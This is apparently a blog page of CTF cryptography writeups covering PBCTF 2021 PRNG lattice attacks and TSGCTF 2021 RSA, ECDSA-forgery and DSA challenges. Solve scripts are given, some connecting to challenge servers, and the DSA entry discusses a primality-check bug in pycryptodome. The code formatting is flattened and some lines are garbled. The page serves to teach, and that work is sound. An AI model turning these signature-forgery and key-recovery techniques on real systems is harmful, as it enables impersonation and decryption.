        rnd = rand.Random(b'rbtree')
 
        self.a1 = [rnd.getrandbits(20for _ in range(3)]
        self.a2 = [rnd.getrandbits(20for _ in range(3)]
        self.a3 = [rnd.getrandbits(20for _ in range(3)]
 
        self.x = X
        self.y = Y
        self.z = Z
 
    def out(self):
        o = (2 * self.m1 * self.x[0- self.m3 * self.y[0- self.m2 * self.z[0]) % self.M
 
        self.x = self.x[1:] + [sum(x * y for x, y in zip(self.x, self.a1)) % self.m1]
        self.y = self.y[1:] + [sum(x * y for x, y in zip(self.y, self.a2)) % self.m2]
        self.z = self.z[1:] + [sum(x * y for x, y in zip(self.z, self.a3)) % self.m3]
 
        return o.to_bytes(8, byteorder='big')
 
class PRNG:
    def __init__(self):
        self.m1 = 2 ** 32 - 107
        self.m2 = 2 ** 32 - 5
        self.m3 = 2 ** 32 - 209
        self.M = 2 ** 64 - 59
 
        rnd = rand.Random(b'rbtree')
 
        self.a1 = [rnd.getrandbits(20for _ in range(3)]
        self.a2 = [rnd.getrandbits(20for _ in range(3)]
        self.a3 = [rnd.getrandbits(20for _ in range(3)]
 
        self.x = [urand(4for _ in range(3)]
        self.y = [urand(4for _ in range(3)]
        self.z = [urand(4for _ in range(3)]
 
    def out(self):
        ret = b''
        xs = []
        ys = []
        zs = []
        for _ in range(12):
            xs.append(self.x[0])
            ys.append(self.y[0])
            zs.append(self.z[0])
            o = (2 * self.m1 * self.x[0- self.m3 * self.y[0- self.m2 * self.z[0]) % self.M
            self.x = self.x[1:] + [sum(x * y for x, y in zip(self.x, self.a1)) % self.m1]
            self.y = self.y[1:] + [sum(x * y for x, y in zip(self.y, self.a2)) % self.m2]
            self.z = self.z[1:] + [sum(x * y for x, y in zip(self.z, self.a3)) % self.m3]
            ret += o.to_bytes(8, byteorder='big')
        return ret, xs, ys, zs
 
 
# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
    M = mat.BKZ(block_size = 35)
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
    # heuristic for number of solutions
    DET = 0
 
    if num_var == num_ineq:
        DET = abs(mat.det())
        num_sol = 1
        for i in range(num_ineq):
            num_sol *= (ub[i] - lb[i])
        if DET == 0:
            print("Zero Determinant")
        else:
            num_sol //= DET
            # + 1 added in for the sake of not making it zero...
            print("Expected Number of Solutions : ", num_sol + 1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
        ub[i] *= ineq_weight
 
    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            print("Fail : inequality does not hold after solving")
    
    # recover x
    fin = None
 
    if DET != 0:
        mat = mat.transpose()
        fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
def get_idx(name, v):
    if name == 'x':
        return v - 1
    if name == 'y':
        return v + 11
    if name == 'z':
        return v + 23
 
test = False
 
if test:
    prng = PRNG()
    hint, ERRX, ERRZ, XS, YS, ZS = prng.out()
    print("XS", XS)
    print("YS", YS)
    print("ZS", ZS)
 
    vec_sol = []
    for i in range(12):
        vec_sol.append(XS[i])
    for i in range(12):
        vec_sol.append(YS[i])
    for i in range(12):
        vec_sol.append(ZS[i])
else:
    prng = PRNG()
    hint = '67f19d3da8af1480f39ac04f7e9134b2dc4ad094475b696224389c9ef29b8a2aff8933bd3fefa6e0d03827ab2816ba0fd9c0e2d73e01aa6f184acd9c58122616f9621fb8313a62efb27fb3d3aa385b89435630d0704f0dceec00fef703d54fca'
    output = '153ed807c00d585860b843a03871b11f60baf11fe72d2619283ec5b4d931435ac378e21abe67c47f7923fcde101f4f0c65b5ee48950820f9b26e33acf57868d5f0cbc2377a39a81918f8c20f61c71047c8e82b1c965fa01b58ad0569ce7521c7'
    hint = bytes.fromhex(hint)
    output = bytes.fromhex(output)
 
print(len(hint))
= Matrix(ZZ, 7575)
 
cnt = 0
tot_base = 36
 
lb = []
ub = []
 
# x
for i in range(9):
    M[get_idx('x', i + 4), cnt] = 1
    M[get_idx('x', i + 1), cnt] = -prng.a1[0]
    M[get_idx('x', i + 2), cnt] = -prng.a1[1]
    M[get_idx('x', i + 3), cnt] = -prng.a1[2]
    M[tot_base, cnt] = prng.m1
    cnt += 1
    tot_base += 1
    lb.append(0)
    ub.append(0)
 
# y 
for i in range(9):
    M[get_idx('y', i + 4), cnt] = 1
    M[get_idx('y', i + 1), cnt] = -prng.a2[0]
    M[get_idx('y', i + 2), cnt] = -prng.a2[1]
    M[get_idx('y', i + 3), cnt] = -prng.a2[2]
    M[tot_base, cnt] = prng.m2
    cnt += 1
    tot_base += 1
    lb.append(0)
    ub.append(0)
 
# z
for i in range(9):
    M[get_idx('z', i + 4), cnt] = 1
    M[get_idx('z', i + 1), cnt] = -prng.a3[0]
    M[get_idx('z', i + 2), cnt] = -prng.a3[1]
    M[get_idx('z', i + 3), cnt] = -prng.a3[2]
    M[tot_base, cnt] = prng.m3
    cnt += 1
    tot_base += 1
    lb.append(0)
    ub.append(0)
 
for i in range(12):
    M[get_idx('x', i + 1), cnt] = 1
    cnt += 1
    lb.append(0)
    ub.append(1 << 32)
 
for i in range(12):
    M[get_idx('y', i + 1), cnt] = 1
    cnt += 1
    lb.append(0)
    ub.append(1 << 32)
 
for i in range(12):
    M[get_idx('z', i + 1), cnt] = 1
    cnt += 1
    lb.append(0)
    ub.append(1 << 32)
 
for i in range(12):
    M[get_idx('x', i + 1), cnt] = (2 * prng.m1)
    M[get_idx('y', i + 1), cnt] = -prng.m3
    M[get_idx('z', i + 1), cnt] = -prng.m2
    M[tot_base, cnt] = prng.M
    cnt += 1
    tot_base += 1
    val = bytes_to_long(hint[8 * i : 8 * i + 8])
    lb.append(val)
    ub.append(val)
 
print(cnt)
print(tot_base)
 
result, applied_weights, fin = solve(M, lb, ub)
 
INIT_X = [int(fin[get_idx('x', i + 1)]) for i in range(3)]
INIT_Y = [int(fin[get_idx('y', i + 1)]) for i in range(3)]
INIT_Z = [int(fin[get_idx('z', i + 1)]) for i in range(3)]
 
print(fin)
print(INIT_X)
print(INIT_Y)
print(INIT_Z)
 
actual_prng = PRNGFinisher(INIT_X, INIT_Y, INIT_Z)
 
hint_check = b''
for i in range(12):
    hint_check += actual_prng.out()
 
sdaf = [hint_check[i] == hint[i] for i in range(96)]
print(sdaf)
 
if test == False:
    flag = b''
    for i in range(len(output) // 8):
        res = bytes_to_long(actual_prng.out())
        res = res ^ bytes_to_long(output[8 * i : 8 * i + 8])
        flag += long_to_bytes(res)
    print(flag)
cs

 

 

Seed Me

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import java.nio.file.Files;
import java.nio.file.Path;
import java.io.IOException;
import java.util.Random;
import java.util.Scanner;
 
class Main {
 
    private static void printFlag() {
        try {
            System.out.println(Files.readString(Path.of("flag.txt")));
        }
        catch(IOException e) {
            System.out.println("Flag file is missing, please contact admins");
        }
    }
 
    public static void main(String[] args) {
        int unlucky = 03777;
        int success = 0;
        int correct = 16;
 
        System.out.println(unlucky);
 
        System.out.println("Welcome to the 'Lucky Crystal Game'!");
        System.out.println("Please provide a lucky seed:");
        Scanner scr = new Scanner(System.in);
        long seed = scr.nextLong();
        Random rng = new Random(seed);
 
        for(int i=0; i<correct; i++) {
            /* Throw away the unlucky numbers */
            for(int j=0; j<unlucky; j++) {
                rng.nextFloat();
            }
 
            /* Do you feel lucky? */
            if (rng.nextFloat() >= (7.331f*.1337f)) {
                success++;
            }
        }
 
        if (success == correct) {
            printFlag();
        }
        else {
            System.out.println("Unlucky!");
        }
    }
}
 
cs

 

Java's RNG is truncated LCG, but to be honest it's not even truncated as it is pretty much LCG result divided by $2^{48}$. 

This is ultimately a hidden number problem, so it must be lattices - and CVP repository should work.

However, naively plugging in the lower bound / upper bound vectors gives some results that are off. 

To solve this problem, we manually change the lower bound / upper bound by hand to "persuade" our CVP algorithm to make the results more appropriate for our liking. For example, if one result is 0.97, smaller than we need, then we can make the lower bound a bit larger. If one result is 0.01, which means that we overshot the value, we can reduce the upper bound so that the value can land between 0.98 and 1.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
# Directly taken from rbtree's LLL repository
# From https://oddcoder.com/LOL-34c3/, https://hackmd.io/@hakatashi/B1OM7HFVI
def Babai_CVP(mat, target):
    M = IntegerLattice(mat, lll_reduce=True).reduced_basis
    G = M.gram_schmidt()[0]
    diff = target
    for i in reversed(range(G.nrows())):
        diff -=  M[i] * ((diff * G[i]) / (G[i] * G[i])).round()
    return target - diff
 
 
def solve(mat, lb, ub, weight = None):
    num_var  = mat.nrows()
    num_ineq = mat.ncols()
 
    max_element = 0 
    for i in range(num_var):
        for j in range(num_ineq):
            max_element = max(max_element, abs(mat[i, j]))
 
    if weight == None:
        weight = num_ineq * max_element
 
    # sanity checker
    if len(lb) != num_ineq:
        print("Fail: len(lb) != num_ineq")
        return
 
    if len(ub) != num_ineq:
        print("Fail: len(ub) != num_ineq")
        return
 
    for i in range(num_ineq):
        if lb[i] > ub[i]:
            print("Fail: lb[i] > ub[i] at index", i)
            return
 
        # heuristic for number of solutions
    DET = 0
 
    if num_var == num_ineq:
        DET = abs(mat.det())
        num_sol = 1
        for i in range(num_ineq):
            num_sol *= (ub[i] - lb[i])
        if DET == 0:
            print("Zero Determinant")
        else:
            num_sol //= DET
            # + 1 added in for the sake of not making it zero...
            print("Expected Number of Solutions : ", num_sol + 1)
 
    # scaling process begins
    max_diff = max([ub[i] - lb[i] for i in range(num_ineq)])
    applied_weights = []
 
    for i in range(num_ineq):
        ineq_weight = weight if lb[i] == ub[i] else max_diff // (ub[i] - lb[i])
        applied_weights.append(ineq_weight)
        for j in range(num_var):
            mat[j, i] *= ineq_weight
        lb[i] *= ineq_weight
        ub[i] *= ineq_weight
 
    # Solve CVP
    target = vector([(lb[i] + ub[i]) // 2 for i in range(num_ineq)])
    result = Babai_CVP(mat, target)
 
    for i in range(num_ineq):
        if (lb[i] <= result[i] <= ub[i]) == False:
            print("Fail : inequality does not hold after solving")
            break
    
        # recover x
    fin = None
 
    if DET != 0:
        mat = mat.transpose()
        fin = mat.solve_right(result)
    
    ## recover your result
    return result, applied_weights, fin
 
# conn = remote('seedme.chal.perfect.blue', 1337)
# conn.interactive()
 
def getv(seed):
    seed = (seed * 0x5DEECE66D + 0xB& ((1 << 48- 1)
    return seed, (seed >> 24/ (1 << 24)
 
curm = [1]
curb = [0]
 
= Matrix(ZZ, 1717)
lb = [0* 17
ub = [0* 17
 
for i in range(16 * 2048):
    curm.append((0x5DEECE66D * curm[i]) % (1 << 48))
    curb.append((0x5DEECE66D * curb[i] + 0xB) % (1 << 48))
 
for i in range(016):
    m, b = curm[2048 * i + 2048], curb[2048 * i + 2048]
    M[0, i] = m
    M[i + 1, i] = 1 << 48
    lb[i] = int(0.9803 * (1 << 48)) - b 
    ub[i] = int((1 << 48)) - 1 - b
 
# post-fix manually
lb[0= int(0.985 * (1 << 48)) - curb[2048]
ub[15= int(0.995 * (1 << 48)) - curb[2048 * 16]
 
M[016= 1
lb[16= 0
ub[16= 1 << 48
 
result, applied_weights, fin = solve(M, lb, ub)
 
res = (int(fin[0]) + (1 << 48)) % (1 << 48)
 
init_seed = 0x5DEECE66D ^ res 
 
print(init_seed)
 
seeds = init_seed
seeds = (seeds ^ 0x5DEECE66D& ((1 << 48- 1)
 
curm = [1]
curb = [0]
 
for i in range(16 * 2048):
    curm.append((0x5DEECE66D * curm[i]) % (1 << 48))
    curb.append((0x5DEECE66D * curb[i] + 0xB) % (1 << 48))
 
for i in range(016):
    m, b = curm[2048 * i + 2048], curb[2048 * i + 2048]
    res = (seeds * m + b) % (1 << 48)
    print(res / (1 << 48>= 0.7331 * 1.337)
cs

 

 

'수학 > 암호론 및 CTF' 카테고리의 다른 글

N1CTF 2021 Writeups  (1) 2021.11.22
PBCTF 2021 Writeups  (0) 2021.10.13
TSGCTF 2021 Writeups  (0) 2021.10.03
DUCTF 2021 Writeups  (0) 2021.09.26
ACSC Crypto Writeups  (0) 2021.09.26
CryptoCTF Writeups (DoRSA, Polish)  (0) 2021.08.05

5 Crypto + 2 PPC = 7 solves. Favorite Challenges = This is DSA, Lumberjack Against Nature.

 

Beginner's Crypto

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from secret import e
from Crypto.Util.number import getStrongPrime, isPrime
 
= getStrongPrime(1024)
= getStrongPrime(1024)
= p * q
phi = (p - 1* (q - 1)
 
with open('flag.txt''rb'as f:
    flag = int.from_bytes(f.read(), 'big')
 
assert(isPrime(e))
assert(isPrime(e + 2))
assert(isPrime(e + 4))
 
e1 = pow(e, 0x10001, phi)
e2 = pow(e + 20x10001, phi)
e3 = pow(e + 40x10001, phi)
 
c1 = pow(flag, e1, N)
c2 = pow(flag, e2, N)
c3 = pow(flag, e3, N)
 
print(f'p = {p}')
print(f'q = {q}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
print(f'c3 = {c3}')
 
cs

 

As it will be soon mentioned in the flag of this challenge, we will solve this without $p, q$. 

Since $e, e+2, e+4$ is all prime and at least one of them has to be a multiple of $3$, we see $e=3$. 

Now we can see that $c_1, c_2, c_3$ can be computed as $$c_1 \equiv m^{3^{65537}} \pmod{n}, \quad c_2 \equiv m^{5^{65537}} \pmod{n}, \quad c_3 \equiv m^{7^{65537}} \pmod{n}$$ Since $\gcd(3^{65537}, 5^{65537}) = 1$, we can use extended Euclidean algorithm on the exponents to find $m$. 

 

Since $3^{65537}$ and $5^{65537}$ are large numbers, it is recommended to use GMPY or Sagemath's integers.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
= 167710954518007348037383082265231465648795974011761905177264545864288011527333715495850532989338171489309608848431113452814709692343039027970312735521415071265608660628968391884287240987858607818275329135585153511665148279408708087727501421558738163577629329044315775019460018956186674179846621352371150072281
= 130354329753344570838569091064852072757046774566775609047544069941246798511317343102715733555464772099991834579660053860799207243561908291522943696711982657846373844514551117658179060004064010647453939332217996817580433587341521331941287365948919907797478197717562721233289937471168288241937022054501586986443
c1 = 2560344169447809042170685026483682125499025654554670516499742981486615082413150123244985585751880264831112089324011804397189638172356179296987581738515619297036118472798499254785110885662931526277474101787493114656242031264678448394380651657330967744585361662315313462698221954777506355498445242300193032704972074020068699180111637362566860530694807230108024167631423062629721393506643291591971626450262144814424411172618188943774725105690851574922374544865628890948773274109561622040022136970632948166009941425683576381155722191980954262373394704682297682490061906408535261437100820855976015526295573831744458528440
c2 = 9041231631916227099296501948589424780380702196870972231114747229225732542137483840187783630590878594711315671224997985975031038623195921968945234067183003568830416719957054703139219879265482072634572699299971785171441858501409377942183918216246312330291820452436486171483461790388518159980027140392750222843449604265528929311978655519463562520038992870162220913137870017065557254099767583925177889051326144499369420594398043223307161794788085369471538477803421726790780799629276012701406231535048423554314287152404245482928538931953627397633165453319078105028671410039195670727134471011040601278722143504641171853743
c3 = 3193069356811106774640161554961405075257002069448498144279061282023129342916422283816661697787316681475161942522570615456264481238277711114193792510286127129056376618422336477707825009085263623755329815306483253646072909132096678270667136193038337386976289222105363398033633185639402128949635525665502328717781718263894690234837016959581149138917064108193064639981137359869717065147934752707676203651598070046066514316196771853484143158367616177332902152347890310640338106015356361617700741042461419248117687350565094928451141103632305400493998164788411031832078388030194992306440474662871408938796429927990102583837
= p * q
 
# using n only
 
e1 = pow(Integer(3), 0x10001)
e2 = pow(Integer(5), 0x10001)
 
g1 = inverse_mod(e1, e2)
g2 = Integer((e1 * g1 - 1// e2)
 
flag = (pow(c1, g1, n) * inverse_mod(Integer(pow(c2, g2, n)), n)) % n 
 
print(long_to_bytes(int(flag)))
cs

 

Minimalist's Private

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from Crypto.Util.number import isPrime
from random import randrange
from secret import p, q, L, e, d
 
class RSA:
    def __init__(self, p, q, L, e, d):
        assert(isPrime(p) and isPrime(q))
        self.N = p * q
        self.L = L
        self.e = e
        self.d = d
 
        # these are the normal RSA conditions
        for _ in range(100):
            assert(pow(randrange(1self.N), self.L, self.N) == 1)
        assert(self.e * self.d % self.L == 1)
 
        # minimal is the best
        assert(self.L * self.L <= 10000 * self.N)
 
    def gen_private_key(self):
        return (self.N, self.d)
 
    def gen_public_key(self):
        return (self.N, self.e)
 
    def encrypt(self, msg):
        return pow(msg, self.e, self.N)
 
    def decrypt(self, c):
        return pow(c, self.d, self.N)
 
flag = open('flag.txt''rb').read()
msg = int.from_bytes(flag, byteorder='big')
assert(msg < p * q)
 
rsa = RSA(p, q, L, e, d)
encrypted = rsa.encrypt(msg)
assert(rsa.decrypt(encrypted) == msg)
 
print(f'N, e = {rsa.gen_public_key()}')
print(f'c = {encrypted}')
 
cs

 

We see that $L \ge \text{lcm}(p-1, q-1)$. If we let $G = \gcd(p-1, q-1)$ and $p-1 = Ga$, $q-1 = Gb$, we have $$(Gab)^2 \le L^2 \le 10^4 n = 10^4(Ga + 1)(Gb + 1)$$ which shows us that $$ab \le 10^4 \left(1 + \frac{1}{Ga} \right) \left(1 + \frac{1}{Gb} \right) \le 4 \cdot 10^4$$ There are not a lot of pairs $(a, b)$ with $ab \le 4 \cdot 10^4$, in fact, the number of pairs $(a, b)$ with $ab \le n$ is around $\mathcal{O}(n \log n)$, so we can brute force all such $(a, b)$ and try to solve for $G$ with the quadratic equation $$n = (Ga+1)(Gb+1)$$

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def inthroot(a, nn):
    return a.nth_root(nn, truncate_mode=True)[0]
 
n, e = (110810384837032261825023623509673754738102610876330251649981605143280121681368156837531959563893256283529225677601694957397273288158620952782439302742812596459937884534715440963387843686842290530079941383864568643035248453476130518593895658961288946324650893599430144357678145290466607212246583158515615165537)
= 254705401581808316199469430068831357413481187288921393400711004895837418302514065107811330660948313420965140464021505716810909691650540609799307500282957438243553742714371028405100267860418626513481187170770328765524251710154676478766892336610743824131087888798846367363259860051983889314134196889300426
 
for i in tqdm(range(15000)):
    for j in range(15000 // i + 5):
        aa = i * j 
        bb = i + j 
        cc = 1 - n 
        try:
            tt = (-bb + inthroot(Integer(bb * bb - 4 * aa * cc), 2)) // (2 * aa)
            p = i * tt + 1
            q = j * tt + 1 
            if p * q == n:
                print("HEY")
                print(p, q)
                phi = LCM(p - 1, q - 1)
                d = inverse(e, phi)
                print(d)
                print(long_to_bytes(pow(c, d, n)))
                exit()
        except:
            pass
 
 
cs

 

Baba is Flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
require 'openssl'
require 'digest'
 
STDOUT.sync = true
 
class OpenSSL::PKey::EC::Point
  def xy
    n = to_bn(:uncompressed).to_i
    mask = (1 << group.degree) - 1
    return (n >> group.degree) & mask, n & mask
  end
  alias_method :+, :add
  alias_method :*, :mul
end
 
class ECDSA
  def initialize
    @curve = OpenSSL::PKey::EC::Group.new('secp256k1')
    @G = @curve.generator
    @n = @curve.order.to_i
    @d = OpenSSL::BN.rand(@curve.degree).to_i
    @Q = @G * @d
  end
 
  def inv(x)
    x.pow(@n - 2, @n)
  end
 
  def sign(msg)
    z = Digest::SHA256.hexdigest(msg).hex
    k = OpenSSL::BN.rand(@curve.degree / 3).to_s.unpack1('H*').hex
    x, y = (@G * k).xy
 
    # We all like hacks, ain't we?
    # s = (z + x * @d) * inv(k) % @n
    s = (z + @d) * inv(k) % @n
 
    return x, s
  end
 
  def verify(msg, x, s)
    return false if x % @n == 0 || s % @n == 0
    z = Digest::SHA256.hexdigest(msg).hex
 
    # ditto
    # x2, y2 = (@G * (z * inv(s)) + @Q * (x * inv(s))).xy
    x2, y2 = (@G * (z * inv(s)) + @Q * inv(s)).xy
 
    return x == x2
  end
end
 
ecdsa = ECDSA.new
 
5.times do
  puts <<~EOS
    1. Sign
    2. Find rule
    3. Exit
  EOS
 
  print 'choice? '
 
  case gets.chomp
  when '1'
    x, s = ecdsa.sign('Baba')
    puts 'Baba is:'
    puts "x = #{x}"
    puts "s = #{s}"
  when '2'
    print 'Which rule do you want to know? '; msg = gets.chomp
    print 'x? '; x = gets.to_i
    print 's? '; s = gets.to_i
 
    if ecdsa.verify(msg, x, s)
      if msg == 'Baba'
        puts 'Baba is you'
      elsif msg == 'Flag'
        puts "Flag is #{ENV['FLAG']}"
      else
        puts 'Not Found :('
      end
    else
      puts 'Invalid :('
    end
  else
    exit
  end
end
 
puts 'You is defeat.'
 
cs

 

Here, we want to forge $(x, s)$ such that $$s \cdot \text{lift_x}(x) = Q + z \cdot G$$ where $z$ is the hash of the message and $\text{lift_x}(x)$ is the point with $x$-coordinate equal to $x$. By asking for the signature of 'Baba', we get a pair $(x, s)$ that corresponds to the hash of 'Baba'. Since $x, s, z, G$ are all known, we can recover the value of $Q$. 

 

Now we can simply take $s = 1$ and $x$ to be the $x$-coordinate of $Q + z \cdot G$, where $z$ is the hash of 'Flag' to make a valid signature.

This solves the problem, and this vuln is of course from the missing $x$ in the signature formula.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
= remote('34.146.212.53'65434)
 
= (1 << 256- (1 << 32- (1 << 9- (1 << 8- (1 << 7- (1 << 6- (1 << 4- 1
 
= EllipticCurve(GF(p), [07])
Gx = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
Gy = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8
 
= E(Gx, Gy)
= E.order()
print(isPrime(n))
 
h1 = bytes_to_long(hashlib.sha256(b'Baba').digest())
h2 = bytes_to_long(hashlib.sha256(b'Flag').digest())
 
for i in range(3):
    r.recvline()
r.sendline(b"1")
r.recvline()
X1 = int(r.recvline().split()[-1])
S1 = int(r.recvline().split()[-1])
 
print(X1)
print(S1)
 
 
target1 = S1 * E.lift_x(GF(p)(X1))
 
target2 = target1 + (h2 - h1) * G
for i in range(3):
    r.recvline()
r.sendline(b"2")
r.sendline("Flag")
r.sendline(str(int(target2.xy()[0])))
r.sendline(b"1")
print(r.recvline())
print(r.recvline())
cs

 

This is DSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# See also https://github.com/tsg-ut/pycryptodome
from Crypto.PublicKey import DSA
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
from Crypto.Util.number import getPrime
from Crypto.Random.random import randrange
from base64 import b64decode
from signal import alarm
import os
 
alarm(15)
 
= getPrime(256)
print(f'q = {q}')
 
= int(input('p? '))
= int(input('h? '))
 
= pow(h, (p - 1// q, p)
= randrange(q)
= pow(g, x, p)
 
print(f'g = {g}')
print(f'y = {y}')
 
dsa = DSA.construct((y, g, p, q, x))
dss = DSS.new(dsa, 'fips-186-3')
 
print('Thank you for helping me with DSA! Now give me the base64-encoded signature of sha256("flag")')
sign = b64decode(input('sign? '))
 
dss.verify(SHA256.new(b'flag'), sign)
print(f"Awesome! {os.environ.get('FLAG')}")
cs

 

I took ridiculously long to solve this challenge, for several reasons. Here's my story. 

 

Step 1 : removing all "irrational" ideas

In standard DSA, we are forced to solve a discrete logarithm in a subgroup of $\mathbb{F}_p^{\star}$ with order $q$. 

Since $q$ is 256 bits, this is very hard to do, and there are no tricks that I know of to make a nice $p$ that makes it possible. 

Therefore, directly attacking this problem is not possible. We have to go around it. 

 

The first thing that caught my eye was that there was no check that $(y, g, p, q, x)$ was valid DSA tuple. 

If I could do send some nasty values on $p, h$, then maybe this problem would be very easy to solve. 

 

At this point, about 10 minutes have passed. I decided to look at pycryptodome's code for DSA construction.

Then https://github.com/Legrandin/pycryptodome/blob/master/lib/Crypto/PublicKey/DSA.py#L489 happened. 

It turns out that pycryptodome does check everything automatically, even when not specified. 20 minutes have passed.

 

Step 2 : actually knowing what the challenge is

After wasting an additional 40 minutes, I found that the library was patched. 

https://github.com/tsg-ut/pycryptodome/commit/22388c5fec4607e8e255926c3e95724a2f070e76  

 

So it doesn't check $p \equiv 1 \pmod{q}$ anymore! This is good stuff. However, one thing still bugged me. 

After sending $h$, the server computes $g \equiv h^{\lfloor (p-1)/q \rfloor} \pmod{p}$. It then checks

  • $g \not\equiv 1 \pmod{p}$
  • $g^q \equiv 1 \pmod{p}$

If $p$ was a prime, then such $g$ can only exist if $p \equiv 1 \pmod{q}$. This forces $p$ to not be prime.

 

However, the pycryptodome library mentions that it checks for the primality of $p$, and there were no patches on that.

 

So I looked at the primality test function used in the repository. It consisted of a few Miller-Rabin tests and one Lucas test. 

If there was no Lucas test, it was not very hard to bypass this with some very large semiprimes. Because the number of Miller-Rabin iterations in the repository did not consider adversarial attacks, if we send a very large "carmichael like" semiprime, then we would only do one round of Miller-Rabin, and have good probability of passing the Miller-Rabin part of the primality test. Of course, the downside is 

  • We actually need $p$ to be exactly 2048 bits, but I didn't know that at the time 
  • We also need to pass Lucas test, and adversarial examples passing both Miller-Rabin and Lucas is not known, I think?

 

After deciding that finding a composite $p$ that passes the primality check is as hard as writing a conference paper, I looked back.

 

1
2
fmt_error = test_probable_prime(p) == COMPOSITE
fmt_error = test_probable_prime(q) == COMPOSITE
cs

 

That second line had to be OR'ed, not substituted, yet it was substituted. This was also in the original repository.

This meant that the primality check of $p$ is completely ignored, which means I didn't need to think about Miller-Rabin and stuff.

 

Step 3 : the finish

Since $p$ doesn't have to be prime, we will use the variable $n$ to avoid confusion.

OK, so I want to solve a discrete logarithm in a subgroup of $\mathbb{Z}_{n}^\star$ with a group order of $q$. 

This is a classical one - we can always take $n$ to be a power of $q$ and use Binomial Theorem. To be exact, we take $n = q^8$ and $h = 1 + q^7$.

 

Now $$g \equiv h^{q^7 - 1} \equiv 1 - q^7 \pmod{q^8}$$ and we see that $$y \equiv g^x \equiv 1 - x q^7 \pmod{q^8}$$ which means we can recover $0 \le x < q$ easily from $y$. Check out Paillier Cryptosystem.

  

Since $n$ needs to be exactly $2048$ bits, $n = q^8$ may fail. You can either reconnect until successful, or try to multiply $2$ until $n$ is exactly $2048$ bits. In this case, you also need to patch $h$ a bit as well. This is left as an exercise.

 

This was an astounding problem (thanks to the author!), as one of the main vulns was in the original repository as well. 

I briefly thought about whether this unpatched vuln is enough to create some issues, but I don't think so. 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
 
 
= remote('34.146.212.53'61234)
 
= r.recvline()
= int(s.split()[-1])
 
= q ** 8
while p.bit_length() < 2048:
    p = 2 * p 
 
= 1 + 16 * q ** 7
r.sendline(str(p))
r.sendline(str(h))
 
= int(r.recvline().split()[-1])
= int(r.recvline().split()[-1])
 
print(2 <= g < p)
print(pow(g, q, p) == 1)
 
gs = ((g - 1// (q ** 7)) % q
ys = ((y - 1// (q ** 7)) % q
 
= (ys * inverse(gs, q)) % q 
 
res = bytes_to_long(hashlib.sha256(b'flag').digest())
 
= 1
rr = g % q
ss = (res + x * rr) % q
 
print(r.recvline())
 
 
res = long_to_bytes(rr, 32+ long_to_bytes(ss, 32)
 
r.sendline(b64encode(res))
 
print(r.recvline())
print(r.recvline())
cs

 

Flag is Win

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
